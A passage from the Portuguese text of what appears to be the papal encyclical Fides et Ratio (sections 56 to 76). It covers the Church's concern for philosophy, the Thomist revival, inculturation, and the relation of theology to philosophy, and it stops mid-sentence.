especulativa, e ainda no desprezo pela filosofia clássica, de cujas

noções provieram os termos para exprimir tanto a compreensão

da fé como as próprias formulações dogmáticas.

O Papa Pio XII, de veneranda memória, alertou contra este

esquecimento da tradição filosófica e abandono das

terminologias tradicionais. (77)

56. Constata-se, enfim, uma generalizada desconfiança

relativamente a asserções globais e absolutas sobretudo da

parte de quem pensa que a verdade resulte do consenso, e não da

conformidade do intelecto com a realidade objectiva. Compreende-se que,

num mundo subdividido em tantos campos de especializações,

se torne difícil reconhecer aquele sentido total e último da

vida que tradicionalmente a filosofia procurava. Mas nem por isso posso, à

luz da fé que reconhece em Jesus Cristo tal sentido último,

deixar de encorajar os filósofos, cristãos ou não, a

terem confiança nas capacidades da razão humana e a não

prefixarem metas demasiado modestas à sua investigação

filosófica. A lição da história deste milénio,

quase a terminar, testemunha que a estrada a seguir é esta: não

perder a paixão pela verdade última, nem o anseio de

pesquisa, unidos à audácia de descobrir novos percursos. É

a fé que incita a razão a sair de qualquer isolamento e a

abraçar de bom grado qualquer risco por tudo o que é belo,

bom e verdadeiro. Deste modo, a fé torna-se advogada convicta e

convincente da razão.

2. Solicitude da Igreja pela filosofia

57. O Magistério, porém, não se limitou a pôr

em destaque os erros e desvios das doutrinas filosóficas. Mas, com

igual cuidado, quis confirmar os princípios fundamentais para uma

genuína renovação do pensamento filosófico,

indicando mesmo percursos concretos a seguir. Nesta linha, o Papa Leão

XIII, com a carta encíclica Æterni Patris, realizou

um passo de alcance verdadeiramente histórico na vida da Igreja.

Efectivamente aquela constitui, até ao dia de hoje, o único

documento pontifício dedicado, a esse nível, inteiramente à

filosofia. O grande Pontífice retomou e desenvolveu a doutrina do

Concílio Vaticano I sobre a relação entre fé e

razão, mostrando como o pensamento filosófico é um

contributo fundamental para a fé e para a ciência teológica.

(78) Passado mais de um século, muitas indicações, lá

contidas, nada perderam do seu interesse tanto do ponto de vista prático

como pedagógico; a primeira de todas é a que diz respeito ao

valor incomparável da filosofia de S. Tomás. A reposição

do pensamento do Doutor Angélico era vista pelo Papa Leão

XIII como a melhor estrada para se recuperar um uso da filosofia conforme

às exigências da fé. S. Tomás, escrevia ele, «

ao mesmo tempo que, como é devido, distingue perfeitamente a fé

da razão, une-as a ambas com laços de amizade recíproca:

conserva os direitos próprios de cada uma e salvaguarda a sua

dignidade ».(79)

58. São conhecidas as felizes consequências que teve este

convite pontifício. Os estudos sobre o pensamento de S. Tomás

e doutros autores escolásticos receberam novo incentivo. Foi dado

um forte impulso aos estudos históricos, de que resultou uma nova

descoberta das riquezas do pensamento medieval, até então

amplamente desconhecidas, e constituíram-se novas escolas tomistas.

Com a aplicação da metodologia histórica, fizeram-se

grandes progressos no conhecimento da obra de S. Tomás, e muitos

foram os estudiosos que corajosamente introduziram a tradição

tomista nas discussões dos problemas filosóficos e teológicos

daquele tempo. Os teólogos católicos mais influentes deste século,

a cuja reflexão e pesquisa muito deve o Concílio Vaticano

II, são filhos de tal renovação da filosofia tomista.

E assim a Igreja pôde, no decurso do século XX, dispor dum

vigoroso grupo de pensadores, formados na escola do Doutor Angélico.

59. Contudo, a renovação tomista e neotomista não

foi o único sinal de retoma do pensamento filosófico na

cultura de inspiração cristã. Já antes, e

contemporâneamente ao convite do Papa Leão XIII, tinham

surgido vários filósofos católicos que, valendo-se de

correntes de pensamento mais recentes e com uma metodologia própria,

geraram obras filosóficas de grande influência e valor

duradouro. Houve quem tivesse organizado sínteses de nível tão

alto que nada tinham a invejar aos grandes sistemas do idealismo, e quem

pusesse as bases epistemológicas para uma nova exposição

da fé, à luz de uma renovada compreensão da consciência

moral; houve quem tivesse elaborado uma filosofia que, partindo da análise

da imanência, abria o caminho para o transcendente, e quem tentasse

traduzir as exigências da fé no horizonte da metodologia

fenomenológica. Em suma, partindo de diversas perspectivas,

continuou-se a elaborar formas de reflexão filosófica, que

visavam manter viva a grande tradição do pensamento cristão

na unidade de fé e razão.

60. O Concílio Ecuménico Vaticano II, por sua vez,

apresenta uma doutrina muito rica e fecunda a propósito da

filosofia. Não posso esquecer, sobretudo no contexto desta carta

encíclica, que um capítulo inteiro da constituição

Gaudium et spes constitui uma espécie de compêndio de

antropologia bíblica, fonte de inspiração também

para a filosofia. Naquelas páginas, trata-se do valor da pessoa

humana criada à imagem de Deus, indicam-se os motivos da sua

dignidade e superioridade relativamente ao resto da criação,

e mostra-se a capacidade transcendente da sua razão. (80) Na

referida Constituição conciliar, considera-se também

o problema do ateísmo e denunciam-se, juntamente com suas causas,

os erros desta visão filosófica, sobretudo no que diz

respeito à dignidade inalienável da pessoa e da sua

liberdade. (81) E um profundo significado filosófico reveste também

o ponto culminante daquelas páginas, que transcrevia já na

minha primeira carta encíclica, a Redemptor hominis, e

mantive como um dos pontos de referência constante no meu magistério:

« Na realidade, o mistério do homem só no mistério

do Verbo encarnado se esclarece verdadeiramente. Adão, o primeiro

homem, era efectivamente figura do futuro, isto é, de Cristo

Senhor. Cristo, novo Adão, na própria revelação

do mistério do Pai e do seu amor, revela o homem a si mesmo e

descobre-lhe a sua vocação sublime ». (82)

O Concílio ocupou-se também do estudo da filosofia, ao

qual se devem dedicar os candidatos ao sacerdócio; são

recomendações que se podem generalizar a todo o ensino cristão.

Afirma-se num dos documentos conciliares: « As disciplinas filosóficas

sejam ensinadas de forma que os alunos possam adquirir, antes de mais, um

conhecimento sólido e coerente do homem, do mundo e de Deus,

apoiados num património filosófico perenemente válido,

tendo em conta as investigações filosóficas dos

tempos actuais »(83)

Estas directrizes foram depois retomadas e especificadas noutros

documentos do Magistério, com o intuito de garantir uma sólida

formação filosófica sobretudo àqueles que se

preparam para os estudos teológicos. Também eu sublinhei, em

várias ocasiões, a importância desta formação

filosófica para todos os que, um dia, terão de enfrentar, na

vida pastoral, as questões do mundo actual e individuar as causas

de determinados comportamentos, a fim de lhes dar pronta resposta. (84)

61. Se foi necessário intervir, em diversas circunstâncias,

sobre este tema, reiterando o valor das intuições do Doutor

Angélico e insistindo a favor da aquisição do seu

pensamento, isso ficou a dever-se também ao facto de não

terem sido sempre observadas as directrizes do Magistério, com a

solicitude desejada. De facto, nos anos posteriores ao Concílio

Vaticano II, pôde observar-se, em muitas escolas católicas,

um certo declínio nesta matéria, devido à menor

estima sentida não apenas pela filosofia escolástica, mas

pelo estudo da filosofia em geral. Com surpresa e mágoa, tenho de

constatar que vários teólogos compartilham este desinteresse

pelo estudo da filosofia.

Na base desta indiferença, há diversas razões. Em

primeiro lugar, aquela falta de confiança na razão que se

manifesta em grande parte da filosofia contemporânea, abandonando em

larga escala a investigação metafísica das questões

últimas do homem para concentrar a sua atenção sobre

problemas particulares e regionais, às vezes puramente formais.

Depois, há que acrescentar o equívoco que se gerou sobretudo

a respeito das « ciências humanas ». O Concílio

Vaticano II afirmou, várias vezes, o valor positivo da pesquisa

científica para um conhecimento mais profundo do mistério do

homem. (85) Mas, o convite dirigido aos teólogos para conhecerem

estas ciências e, se vier a propósito, aplicá-las

correctamente nos seus estudos, não deve ser interpretado como uma

implícita autorização para marginalizar a filosofia,

pondo-a de parte na formação pastoral e na præparatio

fidei. E, finalmente, não se pode esquecer o interesse

novamente sentido pela inculturação da fé. Em

particular, a vida das jovens Igrejas permitiu descobrir, ao lado de

formas elevadas de pensamento, a presença de múltiplas

expressões de sabedoria popular. Isto constitui um autêntico

património de cultura e de tradições. Todavia, o

estudo dos costumes tradicionais deve ser acompanhado simultaneamente pela

pesquisa filosófica. Será esta que possibilitará

fazer sobressair os traços positivos da sabedoria popular, criando

a necessária ligação com o anúncio do

Evangelho.(86)

62. Desejo insistir novamente que o estudo da filosofia reveste um carácter

fundamental e indispensável na estrutura dos estudos teológicos

e na formação dos candidatos ao sacerdócio. Não

é por acaso que o currículo dos estudos teológicos é

antecedido por um período de tempo especialmente consagrado ao

estudo da filosofia. Esta decisão, confirmada pelo Concílio

Ecuménico Lateranense V, (87) tem as suas raízes na experiência

maturada durante a Idade Média, quando foi posta em relevo a importância

de uma harmonia construtiva entre o saber filosófico e o teológico.

Esta organização dos estudos influenciou, facilitou e

promoveu, embora de forma indirecta, uma boa parte do progresso da

filosofia moderna. Temos um exemplo significativo na influência

exercida pelas Disputationes metaphysicæ de Francisco Suárez,

que eram seguidas até mesmo nas universidades luteranas da

Alemanha. Pelo contrário, o abandono desta metodologia foi causa de

graves carências, tanto na formação sacerdotal como na

investigação teológica. Basta considerar, por

exemplo, como a sua negligência no âmbito do pensamento e da

cultura moderna levou ao encerramento de toda a forma de diálogo ou

à recepção indiscriminada de qualquer filosofia.

Nutro profunda esperança de que estas dificuldades serão

superadas mercê de uma sábia formação filosófica

e teológica, que nunca deve faltar na Igreja.

63. Em virtude das razões aduzidas, senti a urgência de

confirmar, por meio desta carta encíclica, o grande interesse que a

Igreja tem pela filosofia; ou melhor, a ligação íntima

do trabalho teológico com a investigação filosófica

da verdade. Daqui nasce o dever que o Magistério tem de discernir e

estimular um pensamento filosófico que não esteja em dissonância

com a fé. A minha missão é propor alguns princípios

e pontos de referência, que considero necessários para se

poder instaurar uma relação harmoniosa e eficaz entre a

teologia e a filosofia. À luz deles, será possível

discernir com maior clareza se e como deve a teologia relacionar-se com os

diversos sistemas ou asserções filosóficas que o

mundo actual apresenta.

CAPÍTULO VI

INTERACÇÃO DA TEOLOGIA

COM A FILOSOFIA

1. A ciência da fé e as exigências da razão

filosófica

64. A palavra de Deus destina-se a todo o homem, de qualquer época

e lugar da terra; e o homem, por natureza, é filósofo. Por

sua vez, a teologia, enquanto elaboração reflexiva e científica

da compreensão da palavra divina à luz da fé, não

pode deixar de recorrer às filosofias que vão surgindo ao

longo da história, tanto para algumas das suas formas de proceder

como para realizar funções mais específicas. Sem

pretender indicar aos teólogos metodologias particulares —

porque tal não compete ao Magistério —, desejo, porém,

lembrar algumas funções próprias da teologia, onde,

por causa da própria natureza da Palavra revelada, se exige o

recurso ao pensamento filosófico.

65. A teologia está organizada, enquanto ciência da fé,

à luz dum duplo princípio metodológico: auditus fidei

e intellectus fidei. Com o primeiro, recolhe os conteúdos

da Revelação tal como se foram explicitando progressivamente

na Sagrada Tradição, na Sagrada Escritura e no Magistério

vivo da Igreja. (88) Pelo segundo, a teologia quer responder às

exigências próprias do pensamento, através da reflexão

especulativa.

Quanto à preparação para um correcto auditus

fidei, a filosofia proporciona à teologia a sua ajuda peculiar,

quando examina a estrutura do conhecimento e da comunicação

pessoal, e sobretudo as várias formas e funções da

linguagem. Igualmente importante é a contribuição da

filosofia para uma compreensão mais coerente da Tradição

eclesial, das intervenções do Magistério e das sentenças

dos grandes mestres da teologia: estes, de facto, exprimem-se

frequentemente por conceitos e formas de pensamento conotados com

determinada tradição filosófica. Neste caso, pede-se

ao teólogo não só que exponha conceitos e termos

através dos quais a Igreja possa reflectir e elaborar a sua

doutrina, mas que conheça profundamente também os sistemas

filosóficos que tenham, porventura, influenciado as noções

e a terminologia, a fim de se chegar a interpretações

correctas e coerentes.

66. Relativamente ao intellectus fidei, importa considerar,

antes de mais, que a Verdade divina, « que nos é proposta nas

Sagradas Escrituras, interpretadas correctamente pela doutrina da Igreja »,

(89) goza de uma inteligibilidade própria, logicamente tão

coerente que se deve propor como um autêntico saber. O intellectus

fidei explicita esta verdade, não só quando investiga as

estruturas lógicas e conceptuais das proposições em

que se articula a doutrina da Igreja, mas também e sobretudo quando

põe em realce o significado salvífico de tais proposições

para o indivíduo e para a humanidade. É pelo conjunto destas

proposições que o crente chega a conhecer a história

da salvação, que culmina na pessoa de Jesus Cristo e no seu

mistério pascal; ele participa deste mistério, com a sua

adesão de fé.

A teologia dogmática deve ser capaz de articular o

sentido universal do mistério de Deus, Uno e Trino, e da economia

da salvação, quer de modo narrativo, quer sobretudo de forma

argumentativa. Por outras palavras, deve fazê-lo mediante expressões

conceptuais, formuladas de modo crítico e universalmente acessível.

De facto, sem o contributo da filosofia não seria possível

ilustrar certos conteúdos teológicos como, por exemplo, a

linguagem sobre Deus, as relações pessoais no seio da Santíssima

Trindade, a acção criadora de Deus no mundo, a relação

entre Deus e o homem, a identidade de Cristo que é verdadeiro Deus

e verdadeiro homem. E o mesmo se diga de diversos temas da teologia moral,

onde é preciso recorrer, de imediato, a conceitos como lei moral,

consciência, liberdade, responsabilidade pessoal, culpa, etc., cuja

definição provém da ética filosófica.

Por isso, é necessário que a razão do crente tenha

um conhecimento natural, verdadeiro e coerente das coisas criadas, do

mundo e do homem, que são também objecto da revelação

divina; mais ainda, ela deve ser capaz de articular este conhecimento de

maneira conceptual e argumentativa. Assim, a teologia dogmática

especulativa pressupõe e implica uma filosofia do homem, do mundo

e, mais radicalmente, do próprio ser, fundada sobre a verdade

objectiva.

67. A teologia fundamental, pelo seu próprio carácter

de disciplina que tem por função dar razão da fé

(cf. 1 Ped 3, 15), deverá procurar justificar e explicitar

a relação entre a fé e a reflexão filosófica.

Já o Concílio Vaticano I, reafirmando o ensinamento paulino

(cf. Rom 1, 19-20), chamara a atenção para o facto

de existirem verdades que se podem conhecer de modo natural e,

consequentemente, filosófico. O seu conhecimento constitui um

pressuposto necessário para acolher a revelação de

Deus. Quando a teologia fundamental estuda a Revelação e a

sua credibilidade com o relativo acto de fé, deverá mostrar

como emergem, à luz do conhecimento pela fé, algumas

verdades que a razão, autonomamente, já encontra ao longo do

seu caminho de pesquisa. A essas verdades, a Revelação

confere-lhes plenitude de sentido, orientando-as para a riqueza do mistério

revelado, onde encontram o seu fim último. Basta pensar, por

exemplo, ao conhecimento natural de Deus, à possibilidade de

distinguir a revelação divina de outros fenómenos, ou

ao conhecimento da sua credibilidade, à capacidade que tem a

linguagem humana de falar, de modo significativo e verdadeiro, mesmo do

que ultrapassa a experiência humana. Por todas estas verdades, a

mente é levada a reconhecer a existência duma via realmente

propedêutica à fé, que pode desembocar no acolhimento

da Revelação, sem faltar minimamente aos seus próprios

princípios e autonomia. (90)

Da mesma forma, a teologia fundamental deverá manifestar a

compatibilidade intrínseca entre a fé e a sua exigência

essencial de se explicitar através de uma razão capaz de dar

com plena liberdade o seu consentimento. Assim, a fé saberá «

mostrar plenamente o caminho a uma razão em busca sincera da

verdade. Deste modo a fé, dom de Deus, apesar de não se

basear na razão, decerto não pode existir sem ela; ao mesmo

tempo, surge a necessidade de que a razão se fortifique na fé,

para descobrir os horizontes aos quais, sozinha, não poderia chegar

». (91)

68. A teologia moral tem, possivelmente, uma necessidade ainda

maior do contributo filosófico. Na Nova Aliança, a vida

humana está efectivamente muito menos regulada por prescrições

do que na Antiga. A vida no Espírito conduz os crentes a uma

liberdade e responsabilidade que ultrapassam a própria Lei. No

entanto, o Evangelho e os escritos apostólicos não deixam de

propor ora princípios gerais de conduta cristã, ora

ensinamentos e preceitos específicos; para aplicá-los às

circunstâncias concretas da vida individual e social, o cristão

tem necessidade de valer-se plenamente da sua consciência e da força

do seu raciocínio. Por outras palavras, a teologia moral deve

recorrer a uma visão filosófica correcta tanto da natureza

humana e da sociedade, como dos princípios gerais duma decisão

ética.

69. Talvez se possa objectar que, na situação actual, o teólogo,

mais do que à filosofia, deveria recorrer à ajuda de outras

formas do saber humano, concretamente à história e sobretudo

às ciências, de que todos admiram os progressos extraordinários

recentemente alcançados. Outros, impelidos por uma maior

sensibilidade à relação entre fé e culturas,

defendem que a teologia deveria dar preferência às sabedorias

tradicionais, em vez de uma filosofia de origem grega e eurocêntrica.

Outros ainda, partindo duma concepção errada do pluralismo

de culturas, negam simplesmente o valor universal do património

filosófico abraçado pela Igreja.

Os aspectos sublinhados, já presentes aliás na doutrina

conciliar, (92) contêm uma parte de verdade. O referimento às

ciências, útil em muitos casos porque permite um conhecimento

mais completo do objecto de estudo, não deve, porém, fazer

esquecer a necessidade que há da mediação duma reflexão

tipicamente filosófica, crítica e aberta ao universal,

solicitada também por um fecundo intercâmbio entre as

culturas. A minha preocupação é pôr em destaque

o dever de não se ficar pelo caso isolado e concreto, descuidando

assim a tarefa primária que é manifestar o carácter

universal do conteúdo de fé. Além disso, não

se deve esquecer que a peculiar contribuição do pensamento

filosófico permite discernir, tanto nas diversas concepções

da vida como nas culturas, « não o que os homens pensam, mas

qual é a verdade objectiva ». (93) Não as diversas

opiniões humanas, mas somente a verdade pode servir de ajuda à

filosofia.

70. Além do mais, o tema da relação com as culturas

merece uma reflexão específica, apesar de necessariamente não

exaustiva, pelas implicações que daí derivam para as

vertentes filosófica e teológica. O processo de encontro e

comparação com as culturas é uma experiência

que a Igreja viveu desde os começos da pregação do

Evangelho. O mandato de Cristo aos discípulos para irem, a toda a

parte « até aos confins do mundo » (Act 1, 8),

transmitir a verdade revelada por Ele, fez com que a comunidade cristã

pudesse bem cedo dar-se conta da universalidade do anúncio e dos

obstáculos resultantes da diversidade das culturas. Um trecho da

carta de S. Paulo aos cristãos de Éfeso oferece uma válida

ajuda para compreender como a Comunidade Primitiva enfrentou este

problema. Escreve o Apóstolo: « Agora porém, vós,

que outrora estáveis longe, pelo Sangue de Cristo vos aproximastes.

Ele é a nossa paz, Ele que de dois povos fez um só,

destruindo o muro de inimizade que os separava » (2, 13-14).

Iluminada por este texto, a nossa reflexão pode debruçar-se

sobre a transformação que se operou nos gentios quando abraçaram

a fé. As barreiras que separam as diversas culturas caem diante da

riqueza da salvação, realizada por Cristo. Agora, em Cristo,

a promessa de Deus torna-se uma oferta universal: não limitada já

à dimensão particular de um povo, da sua língua ou

dos seus costumes, mas alargada a todos, como um património ao qual

cada um pode livremente ter acesso. Dos mais diversos lugares e tradições,

todos são chamados, em Cristo, a participar na unidade da família

dos filhos de Deus. Cristo faz com que dois povos se tornem « um só

». Os que « estavam longe » ficaram « próximo »,

graças à novidade gerada pelo mistério pascal. Jesus

abate os muros de divisão e realiza a unificação, de

um modo original e supremo, por meio da participação no seu

mistério. Esta unidade é tão profunda que a Igreja

pode dizer com S. Paulo: « Já não sois hóspedes

nem peregrinos, mas sois concidadãos dos santos e membros da família

de Deus » (Ef 2, 19).

Nesta asserção tão simples, está contida uma

grande verdade: o encontro da fé com as diversas culturas deu vida

a uma nova realidade. Na verdade, quando as culturas estão

profundamente radicadas na natureza humana, contêm em si mesmas o

testemunho da abertura, própria do homem, ao universal e à

transcendência. É por isso que elas apresentam perspectivas

distintas da verdade, que são de evidente utilidade para o homem,

porque lhe fazem vislumbrar valores capazes de tornar a sua existência

sempre mais humana. (94) Por outro lado, na medida em que evocam os

valores das tradições antigas, as culturas trazem consigo —

embora de modo implícito, mas nem por isso menos real — a

referência à manifestação de Deus na natureza,

como se viu antes nos textos sapienciais e no ensinamento de S. Paulo.

71. Uma vez que as culturas estão intimamente relacionadas com os

homens e a sua história, partilham das mesmas dinâmicas do

tempo humano. E, consequentemente, registam transformações e

progressos com os encontros que os homens promovem e com as recíprocas

transmissões dos seus modelos de vida. As culturas alimentam-se com

a comunicação de valores, e a sua vitalidade e subsistência

dependem da sua capacidade de permanecerem abertas para acolher a

novidade. Como se explicam tais dinâmicas? Todo o homem está

integrado numa cultura; depende dela, e sobre ela influi. É

simultaneamente filho e pai da cultura onde está inserido. Em cada

manifestação da sua vida, o homem traz consigo algo que o

caracteriza no meio da criação: a sua constante abertura ao

mistério e o seu desejo inexaurível de conhecimento. Em

consequência, cada cultura traz gravada em si mesma e deixa

transparecer a tensão para uma plenitude. Pode-se, portanto, dizer

que a cultura contém em si própria a possibilidade de

acolher a revelação divina.

Também o modo como os cristãos vivem a fé, está

imbuído da cultura do ambiente circundante, e vai progressivamente

contribuindo, por sua vez, para modelar as características do

mesmo. Os cristãos transmitem, a cada cultura, a verdade imutável

que Deus revelou na história e na cultura dum povo. Ao longo dos séculos,

continua a reproduzir-se o mesmo fenómeno testemunhado pelos

peregrinos presentes em Jerusalém, no dia de Pentecostes. Ao

escutarem os Apóstolos, perguntavam-se: « Mas quê! Essa

gente que está a falar não é da Galileia? Que se

passa, então, para que cada um de nós os oiça falar

na nossa língua materna? Partos, medos, elamitas, habitantes da

Mesopotâmia, da Judeia e da Capadócia, do Ponto e da Ásia,

da Frígia e da Panfília, do Egipto e das regiões da Líbia,

vizinha de Cirene, colonos de Roma, judeus e prosélitos, cretenses

e árabes, ouvimo-los anunciar nas nossas línguas as

maravilhas de Deus! » (Act 2, 7-11). O anúncio do

Evangelho nas diversas culturas, ao exigir de cada um dos destinatários

a adesão da fé, não os impede de conservar a própria

identidade cultural. Isto não provoca qualquer divisão, pois

o povo dos baptizados distingue-se por uma universalidade que é

capaz de acolher todas as culturas, fazendo com que aquilo que nelas está

implícito se desenvolva até à sua explanação

plena na verdade.

Em consequência disto, uma cultura nunca pode servir de critério

de juízo e, menos ainda, de critério último de

verdade a respeito da revelação de Deus. O Evangelho não

é contrário a esta ou àquela cultura, como se

quisesse, ao encontrar-se com ela, privá-la daquilo que lhe

pertence, e a obrigasse a assumir formas extrínsecas que lhe são

estranhas. Pelo contrário, o anúncio que o crente leva ao

mundo e às culturas é uma forma real de libertação

de toda a desordem introduzida pelo pecado e, simultaneamente, uma chamada

à verdade plena. Neste encontro, as culturas não são

privadas de nada, antes são estimuladas a abrirem-se à

novidade da verdade evangélica, de que recebem impulso para novos

progressos.

72. O facto da missão evangelizadora ter encontrado em primeiro

lugar no seu caminho a filosofia grega, não constitui de forma

alguma impedimento para outros relacionamentos. Hoje, à medida que

o Evangelho entra em contacto com áreas culturais que estiveram até

agora fora do âmbito de irradiação do cristianismo,

novas tarefas se abrem à inculturação. Colocam-se à

nossa geração problemas análogos aos que a Igreja

teve de enfrentar nos primeiros séculos.

O meu pensamento vai espontaneamente até às terras do

Oriente, tão ricas de tradições religiosas e filosóficas

muito antigas. Entre elas, ocupa um lugar especial a Índia. Um

grande ímpeto espiritual leva o pensamento indiano a procurar uma

experiência que, libertando o espírito dos condicionamentos

de tempo e espaço, tenha valor de absoluto. No dinamismo desta

busca de libertação, situam-se grandes sistemas metafísicos.

Compete aos cristãos de hoje, sobretudo aos da Índia, a

tarefa de extrair deste rico património os elementos compatíveis

com a sua fé, para se obter um enriquecimento do pensamento cristão.

Nesta obra de discernimento, que tem a sua fonte de inspiração

na declaração conciliar Nostra aetate, deverão

ter em consideração um certo número de critérios.

O primeiro é a universalidade do espírito humano, cujas exigências

fundamentais são idênticas nas mais distintas culturas. O

segundo, derivado do anterior, consiste no seguinte: quando a Igreja entra

em contacto com grandes culturas que nunca tinha encontrado antes, não

pode pôr de parte o que adquiriu pela inculturação no

pensamento greco-latino. Rejeitar uma tal herança seria contrariar

o desígnio providencial de Deus, que conduz a sua Igreja pelos

caminhos do tempo e da história. Aliás, este critério

é válido para a Igreja de todos os tempos — também

para a Igreja de amanhã, que se sentirá enriquecida com as

aquisições resultantes do encontro em nossos dias com as

culturas orientais, e desta herança há-de tirar, por sua

vez, indicações novas para entrar frutuosamente em diálogo

com as culturas que a humanidade fizer florir no seu caminho rumo ao

futuro. Em terceiro lugar, há-de precaver-se por não

confundir a legítima reivindicação de especificidade

e originalidade do pensamento indiano, com a ideia de que uma tradição

cultural deve enclausurar-se na sua diferença e afirmar-se pela sua

oposição às outras tradições —

ideia essa que seria contrária precisamente à natureza do

espírito humano.

O que fica dito para a Índia, vale também para a herança

das grandes culturas da China, do Japão e demais países da Ásia,

bem como das riquezas das culturas tradicionais da África,

transmitidas sobretudo por via oral.

73. À luz destas considerações, a justa relação

que se deve instaurar entre a teologia e a filosofia há-de ser

pautada por uma reciprocidade circular. Quanto à teologia, o seu

ponto de partida e fonte primeira terá de ser sempre a palavra de

Deus revelada na história, ao passo que o objectivo final só

poderá ser uma compreensão cada vez mais profunda dessa

mesma palavra por parte das sucessivas gerações. Visto que a

palavra de Deus é Verdade (cf. Jo 17, 17), uma melhor

compreensão dela só tem a beneficiar com a busca humana da

verdade, ou seja, o filosofar, no respeito das leis que lhe são próprias.

Não se trata simplesmente de utilizar, no raciocínio teológico,

qualquer conceito ou parcela dum sistema filosófico; o facto

decisivo é que a razão do crente exerce as suas capacidades

de reflexão na busca da verdade, dentro dum movimento que, partindo

da palavra de Deus, procura alcançar uma melhor compreensão

da mesma. É claro, de resto, que a razão, movendo-se dentro

destes dois pólos — palavra de Deus e melhor conhecimento

desta —, encontra-se prevenida, e de algum modo guiada, para evitar

percursos que poderiam conduzi-la fora da Verdade revelada e, em última

análise, fora pura e simplesmente da verdade; mais ainda, ela

sente-se estimulada a explorar caminhos que, sozinha, nem sequer

suspeitaria de poder percorrer. Esta relação de

reciprocidade circular com a Palavra de Deus enriquece a filosofia, porque

a razão descobre horizontes novos e inesperados.

74. A prova da fecundidade de tal relação é

oferecida pela própria vida de grandes teólogos cristãos

que se distinguiram também como grandes filósofos, deixando

escritos de tamanho valor especulativo que justificam ser colocados ao

lado dos grandes mestres da filosofia antiga. Isto é válido

tanto para os Padres da Igreja, de entre os quais há que citar pelo

menos os nomes de S. Gregório Nazianzeno e S. Agostinho, como para

os Doutores medievais entre os quais sobressai a grande tríade

formada por S. Anselmo, S. Boaventura e S. Tomás de Aquino. A relação

entre a filosofia e a palavra de Deus manifesta-se fecunda também

na investigação corajosa realizada por pensadores mais

recentes, de entre os quais me apraz mencionar, no âmbito ocidental,

personagens como John Henry Newman, António Rosmini, Jacques

Maritain, Étienne Gilson, Edith Stein, e, no âmbito oriental,

estudiosos com a estatura de Vladimir S. Solov’ev, Pavel A. Florenskij,

Petr J. Caadaev, Vladimir N. Losskij. Ao referir estes autores, ao lado

dos quais outros nomes poderiam ser citados, não tenciono

obviamente dar aval a todos os aspectos do seu pensamento, mas apenas propô-los

como exemplos significativos dum caminho de pesquisa filosófica que

tirou notáveis vantagens da sua confrontação com os

dados da fé. Uma coisa é certa: a consideração

do itinerário espiritual destes mestres não poderá

deixar de contribuir para o avanço na busca da verdade e na utilização

dos resultados conseguidos para o serviço do homem. Espera-se que

esta grande tradição filosófico-teológica

encontre, hoje e no futuro, os seus continuadores e estudiosos para bem da

Igreja e da humanidade.

2. Diferentes estádios da filosofia

75. Como consta da história das relações entre a fé

e a filosofia, apontada acima brevemente, podem distinguir-se diversos estádios

da filosofia relativamente à fé cristã. O primeiro é

a filosofia totalmente independente da revelação evangélica:

é o estádio da filosofia, existente historicamente nas épocas

que precederam o nascimento do Redentor, e, mesmo depois dele, nas regiões

onde o Evangelho ainda não chegou. Nesta situação, a

filosofia apresenta a legítima aspiração de ser um

empreendimento autónomo, ou seja, que procede segundo as

suas próprias leis, valendo-se simplesmente das forças da

razão. Embora cientes dos graves limites devidos à

debilidade congénita da razão humana, uma tal aspiração

deve ser apoiada e fortalecida. De facto, o trabalho filosófico,

como busca da verdade no âmbito natural, pelo menos implicitamente

permanece aberto ao sobrenatural.

E, mesmo quando é o próprio discurso teológico que

se serve de conceitos e argumentações filosóficas, a

exigência de correcta autonomia do pensamento há-de ser

respeitada. Com efeito, a argumentação conduzida segundo

rigorosos critérios racionais é garantia para a obtenção

de resultados universalmente válidos. Também aqui se

verifica o princípio segundo o qual a graça não destrói,

mas aperfeiçoa a natureza: a anuência de fé, que

envolve a inteligência e a vontade, não destrói mas

aperfeiçoa o livre arbítrio do crente, que acolhe em si próprio

o dado revelado.

Desta exigência em si mesma correcta, afasta-se nitidamente a

teoria da chamada filosofia « separada », sustentada por vários

filósofos modernos. Mais do que afirmação da justa

autonomia do filosofar, ela constitui a reivindicação duma

auto-suficiência do pensamento que é claramente ilegítima:

rejeitar as contribuições de verdade vindas da revelação

divina significa efectivamente impedir o acesso a um conhecimento mais

profundo da verdade, danificando precisamente a filosofia.

76. Um segundo estádio da filosofia é aquilo que muitos

designam com a expressão filosofia cristã. A

denominação, em si mesma, é legítima, mas não

deve dar margem a equívocos: com ela, não se pretende aludir

a uma filosofia oficial da Igreja, já que a fé enquanto tal

não é uma filosofia. Com aquela designação,

deseja-se sobretudo indicar um modo cristão de filosofar, uma

reflexão filosófica concebida em união vital com a fé.

Por conseguinte, não se refere simplesmente a uma filosofia

elaborada por filósofos cristãos que, na sua pesquisa,

quiseram não contradizer a fé. Quando se fala de filosofia

cristã, pretende-se abraçar todos aqueles importantes avanços

do pensamento filosófico que não seriam alcançados

sem a contribuição, directa ou indirecta, da fé cristã.

Assim, a filosofia cristã contém dois aspectos: um

subjectivo, que consiste na purificação da razão por

parte da fé. Esta, enquanto virtude teologal, liberta a razão

da presunção — uma típica tentação

a que os filósofos facilmente estão sujeitos. Já S.

Paulo e os Padres da Igreja, e mais recentemente filósofos, como

Pascal e Kierkegaard, a estigmatizaram. Com a humildade, o filósofo

adquire também a coragem para enfrentar algumas questões que

dificilmente poderia resolver sem ter em consideração os

dados recebidos da Revelação. Basta pensar, por exemplo, aos

problemas do mal e do sofrimento, à identidade pessoal de Deus e à

questão acerca do sentido da vida, ou, mais diretamente, à

pergunta metafísica radical: « Porque existe o ser? ».

Temos, depois, o aspecto objectivo, que diz respeito aos conteúdos:

a Revelação propõe claramente algumas verdades que,

embora sejam acessíveis à razão por via natural,

possivelmente nunca seriam descobertas por ela, se tivesse sido abandonada

a si própria. Colocam-se, neste horizonte, questões como o

conceito de um Deus pessoal, livre e criador, que tanta importância

teve para o progresso do pensamento filosófico e, de modo

particular, para a filosofia do ser. Pertence ao mesmo âmbito a

realidade do pecado, tal como é vista pela luz da fé, e que

ajuda a filosofia a enquadrar adequadamente o problema do mal. Também

a concepção da pessoa como ser espiritual é uma

originalidade peculiar da fé: o anúncio cristão da

dignidade, igualdade e liberdade dos homens influiu seguramente sobre a

reflexão filosófica, realizada pelos filósofos

modernos. Nos tempos mais recentes, pode-se mencionar a descoberta da

importância que tem, também para a filosofia, o acontecimento

histórico, centro da revelação cristã. Não

foi por acaso que aquele se tornou perne de uma filosofia da história,

que se apresenta como um novo capítulo da busca humana da verdade.

Entre os elementos objectivos da filosofia cristã, inclui-se também

a necessidade de explorar a racionalidade de algumas verdades expressas

